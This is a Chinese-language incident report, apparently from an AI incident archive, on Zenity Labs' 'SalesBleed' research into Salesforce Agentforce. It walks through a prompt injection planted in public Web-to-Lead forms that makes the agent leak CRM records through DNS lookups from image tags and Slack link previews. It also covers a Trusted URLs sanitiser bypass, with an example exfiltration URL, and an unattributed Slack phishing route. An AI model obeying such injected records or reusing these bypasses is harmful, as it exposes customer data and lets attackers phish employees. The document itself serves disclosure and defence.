SalesBleed：一条公开线索，三个 Agentforce 缺陷，零点击

2026年9月24日，Zenity Labs发布了一项研究，称其为SalesBleed：三个漏洞，存在于Salesforce Agentforce中，即这家CRM供应商用于构建和部署AI代理的平台；这些漏洞让陌生人能够从公司的Salesforce组织中提取客户记录，然后利用该公司自己的代理对其员工实施钓鱼攻击。三者中有两个无需公司内部任何人点击。该风险适用于接受Web-to-Lead提交内容的Agentforce租户，以及租户已发布到Slack的任何代理。Dark Reading报道称，未分配任何CVE标识符，Salesforce告诉该媒体，没有证据表明针对任何客户存在利用行为。完整记录，连同该档案自身的置信度等级和危害状态，保存在Orca AI Incident Archive中，该档案会记录每一起有文档记录的代理事件，并对照其引用来源。

公开潜在客户表单如何成为数据通道

Web-to-Lead 是 Salesforce 收集潜在客户的官方机制，而它按设计就是未经身份验证的——它的存在就是为了让互联网上的任何人都能提交表单，并让表单内容进入客户的 CRM。Zenity 的第一篇文章由 Alex Apostolov 及其同事署名，开篇就把这一点作为整个前提条件：没有可暂停的账户，没有可撤销的会话，也没有可检测的登录事件。攻击者从不接触租户。

研究人员描述的这一链条分为五个步骤：

• 攻击者通过公开的 Web-to-Lead 端点提交一条潜在客户线索，并在其中一个字段中隐藏了提示注入。它看起来像一条普通的咨询。

• 这条线索就一直留在那里，直到员工向他们的智能体提出一个再普通不过的请求——Zenity 给出的例子是“查看我最新的线索，并帮我处理最新的那条”。

• 该代理会读取被投毒的记录，并遵照其中的指令行事，使用默认的 General CRM子代理已经拥有的 Query Records 工具来查询 Accounts 表。Zenity 明确指出，无需任何权限提升：同一个子代理本身就自带对 Leads 和 Accounts 的读取权限，而这些均属于默认配置，并非配置错误。

• 它会将它所获取的值——在研究人员给出的示例中是一个公司名称和一笔交易金额——写入攻击者所控制主机名的子域名中，并将结果以 HTML 图像标签的形式回显给用户。

• 聊天界面在渲染外部图片来源时既不进行净化处理，也没有确认步骤，因此客户端会解析该主机名。数据便随 DNS 查询一同外泄。

最后这一步值得放慢细看。因为有效载荷是在 DNS 查询中传输的，随后的 HTTP 请求无关紧要——它可以失败、超时或被彻底阻止，而数据早已泄露出去。Zenity 指出，这种方式能绕过 HTTP 出站控制。单个 DNS 标签上限为 63 个字符，完整域名上限为 253 个字符，因此一次提交只会泄露一小片；研究人员描述通过反复请求，一次一个账户地抽干整张 Accounts 表，这正是名称中“bleed”的由来。

还有第二个出口，其要求甚至更低：对于发布到 Slack 的智能体，不需要图片标签。Slack 会把原始 URL 转换为预览，并爬取该链接来生成预览，因此仅打印出该 URL 就足以触发同样的 DNS 查询。SecurityWeek 引用了 Zenity 对由此产生的行为的总结：只要这些链接一出现，Slack 就会向攻击者控制的基础设施发起携带 CRM 数据的请求。

Zenity 对这里“零点击”的含义持谨慎态度，而这一区别很重要。员工只做一件事：就自己的潜在客户向自己的智能体提出一个普通问题。他们不会打开附件、点击链接，也不会与攻击者发送的任何内容发生交互。这个问题之后的一切都是自动发生的。恶意潜在客户也像任何其他记录一样留在 Leads 表中，因此每当员工查看它时都可能再次触发——而想要获得更广泛渠道的攻击者只需提交更多潜在客户。SecurityWeek 记录了一个让这一失败更显尖锐的细节：Agentforce 报告称该内容已被组织的安全策略阻止，尽管 CRM 数据已经到达攻击者的服务器。

为什么 Trusted URLs 筛选器没有生效

Trusted URLs 是 Salesforce 的一项控制功能，正是为了阻止这种情况——它限制 Agentforce 可访问的外部目的地，并剥离指向未经任何人批准的域的链接和图像。Zenity 发现了两个边缘情况，二者结合后直接绕过了它。

第一个是顶级域名。脱敏器只识别一份固定的 TLD 列表，而 .fun——app.interactsh.com 带外测试平台所使用的域名——并不在其中。以未识别 TLD 结尾的主机名可能完全不会被识别为主机名。第二个是 URL 在哪里结束：脱敏器与渲染答案的界面在终止字符上意见不一，而花括号和方括号正落在这一空隙里。像 https://random_string.oast.fun/{email} 这样的字符串在 RFC 3986 下不是有效 URI，但它仍会产生攻击所需的 DNS 查询。脱敏器看到的是一个格式错误的非 URL，便将其放过；浏览器却愿意把它当作图像源来获取。

一个结构性细节让这种绕过变得可调。脱敏在智能体生成输出之后运行，是模型完全不知道的独立过程。Zenity 发现，发送给客户端的响应中同时存在智能体的原始输出和脱敏后的版本，这使研究人员能够比较两者，并去掉过滤器当时捕捉到的任何异常——例如子域名中的方括号——直到注入在端到端范围内保持稳定。

Dark Reading 报道称，Salesforce 的 URL 脱敏此前一直依赖正则表达式匹配来判断某个字符串是否看起来像 URL，这正是导致域名能以意外格式被隐藏的原因。该公司表示，已将其替换为符合规范的 URL 解析，并整合了 URL 检查，使所有与 URL 相关的代理流量现在都通过单一网关。

第三个缺陷：以智能体自身名义实施的钓鱼攻击

这项关于 Slack 的发现于同一天发表在由 João Donato 及其同事署名的第二篇文章中，涉及的是身份而非数据。Agentforce 智能体可以直接发布到 Slack 中，其能力以子智能体形式提供；Zenity 指出，Slack Knowledge 模板（包括其所有操作）只需点击两次即可添加。

研究人员考察的大多数 Slack 写入操作都带有两项保护：发送前的确认步骤，以及调用者归属信息，用于告知收件人消息是由哪位用户的请求触发的。发送 Slack 私信两者都做到了。回复 Slack 话题串两者都没做到。一旦 Agentforce 决定调用该操作，消息就在未经批准、未标明归属的情况下发出去了——它只带有智能体的身份，没有任何指向最初请求者的信息。

这催生了两条攻击路径。能够与智能体聊天的恶意内部人员，可以把钓鱼信息发布到正确的会话线程中，然后不留任何可追溯到自己身上的痕迹就脱身，因为收件人会将其读作来自智能体的消息。外部攻击者则通过 Web-to-Lead 注入获得同样的结果：被投毒的线索会指示智能体向 Slack 频道发送回复，而智能体会照做，且不会询问触发它的员工。第一篇文章中提到的 URL 脱敏绕过，正是让钓鱼链接得以躲过过滤的原因；Zenity 后来发现，链接还可以隐藏在看似无害的 Markdown 文本后面。Zenity 和 Salesforce 都以相同方式描述后果：员工收到的是来自一个已在其工作场所内运行的受信任系统的消息，而不是来自陌生的外部发件人；任何点击该链接并交出凭据的人，都会暴露电子邮件、Slack、源代码仓库以及该身份所能触及的其他一切。

什么是已确立的，什么不是

在本文所审查的来源中，有四点已经明确。Zenity 演示了这些攻击链，并发布了概念验证视频。Salesforce 认可该分析，并说明了其所做的更改——在给 Dark Reading 和 SecurityWeek 的声明中。这三个漏洞均未分配 CVE，Dark Reading 将此归因于修复是在托管服务的 Salesforce 一侧进行，而非在客户运行的软件中进行。并且 Salesforce 表示，目前没有证据表明其中任何一项曾被用于针对客户进行利用。

尚未有定论的是任何与规模有关的问题。本文所审查的任何来源都没有说明有多少 Agentforce 租户运行了受影响的默认配置，是否有任何客户数据真的离开了客户环境，或者除 Zenity Labs 和 Salesforce 之外是否有人对此进行过查找。独立媒体——Dark Reading、SecurityWeek、Infosecurity Magazine 和 The Register——都报道了这些发现，并刊登了 Salesforce 的回应，但这些报道均未报告其自身对攻击的复现。目前没有针对 SalesBleed 的第二项独立技术调查，本文也不暗示存在这样的调查。

该报道自身的消息来源也在一个细节上存在分歧，这一点值得明确指出，而不是加以抹平。Zenity于9月24日通过Business Wire发布的新闻稿称，Salesforce“在大约两周内”处理了Zenity报告的特定Trusted URLs绕过问题。Zenity技术文章中的逐日时间线从6月1日报告发出时开始，到8月18日和19日修复得到确认时结束——更接近十一周。两种说法都来自同一组织。

Salesforce 改变了什么，以及何时改变的

披露过程持续了很久，而且按 Zenity 的说法，气氛很友好。发现结果于 2026 年 6 月 1 日通过电子邮件发送给 Salesforce；Salesforce 次日确认了这些结果，并表示正在修复；两个团队于 6 月 16 日召开了技术电话会议；Salesforce 于 6 月 17 日关闭了披露，并指出工程团队仍在处理。8 月 18 日，Salesforce 确认修复完成；8 月 19 日，Zenity 专门验证了 Trusted URLs 绕过问题。Slack 操作上的归因问题已于 8 月 20 日确认修复。默认要求确认这一项耗时更久：8 月 25 日，Salesforce 表示仍在处理；9 月 10 日，其将 9 月 21 日定为目标日期；9 月 21 日，Zenity 进行了测试并确认全部三项均已修复。

Salesforce 所描述的变更很具体。Slack 中某些 Agentforce 操作的默认设置现在要求用户在发送消息前进行确认，该公司表示正在直接联系客户以审查其配置。在 Trusted URLs 方面，正则表达式匹配已被弃用，转而采用符合规范的解析；URL 检查已整合到一个网关中，而不是在工作流的多个环节分别处理。

Zenity 对 Slack 修复方案的收尾说明更像是一则提醒，而非彻底解除警报。确认要求只是一个设置项，点一下就能关闭；一旦关闭，相同的攻击路径便会再次可用。研究人员给构建智能体的组织的建议是：关注写操作是如何配置的，而不要想当然地认为默认设置会一直有效。

为什么研究人员说它具有泛化能力

尽管细节是 Salesforce 特有的，Zenity 仍将 SalesBleed 界定为一种模式的实例。其自身的总结是：任何智能体，只要会读取外部来源提交的记录、将链接或图像渲染回用户，并且还拥有对敏感数据的工具访问权限，就具备同样位于同一处的三个要素。研究人员将这种组合称为“致命三要素”的一个版本——私有数据、不可信内容和出站通道在同一种身份中交汇。

这种手法在当地早有先例。Dark Reading 报道称，在 SalesBleed 发生前一年，Noma Security 的研究人员就利用相同的 Web-to-lead 路径访问了 Salesforce 数据，而 Salesforce 的回应是收紧其 URL 规则——即 Zenity 随后绕过的基于正则表达式的脱敏处理。一位 Salesforce 发言人向 Dark Reading 承认，早先的回应是权宜之计，而非全面方案，并表示这次的回应旨在更加稳健。

“我们发现了多种突破安全边界的方法，该边界旨在阻止 Agentforce 将企业数据发送到未经批准的接收目的地，”Zenity 联合创始人兼首席技术官 Michael Bargury 在新闻稿中表示。“硬边界仍然是我们用于约束 AI 智能体的最强工具之一，但它们终究仍是软件。当这些控制失效时，我们面对的就是一个拥有高特权访问权限、高度自主且不受边界约束的智能体。”Zenity 安全研究总监 Tamir Ishay Sharbat 向 Dark Reading 提出了更广泛的观点：赋予智能体的权力越大，它就越危险；而一个既能自行向多个渠道发送消息、又能读取合同、潜在客户或应付账款的智能体，这种组合必将被滥用。Bargury 向同一家媒体补充了第二个担忧——智能体正被构建为黑箱，用摘要代替日志，这使得人们很难判断某个智能体做了什么或为什么这么做。

让这一记录从演示升级为安全事件所需的，不是新技术，而是一份证据：客户披露、CVE，或 Salesforce 或 Zenity 关于这些攻击链已被实际使用的声明。在本处审查的来源中，这些都不存在。在出现其中之一之前，SalesBleed 仍如档案所记录的那样——一个高危漏洞，由发现者按置信度 A 标准记录，并由供应商确认已修复，且没有记录到现实世界中的危害。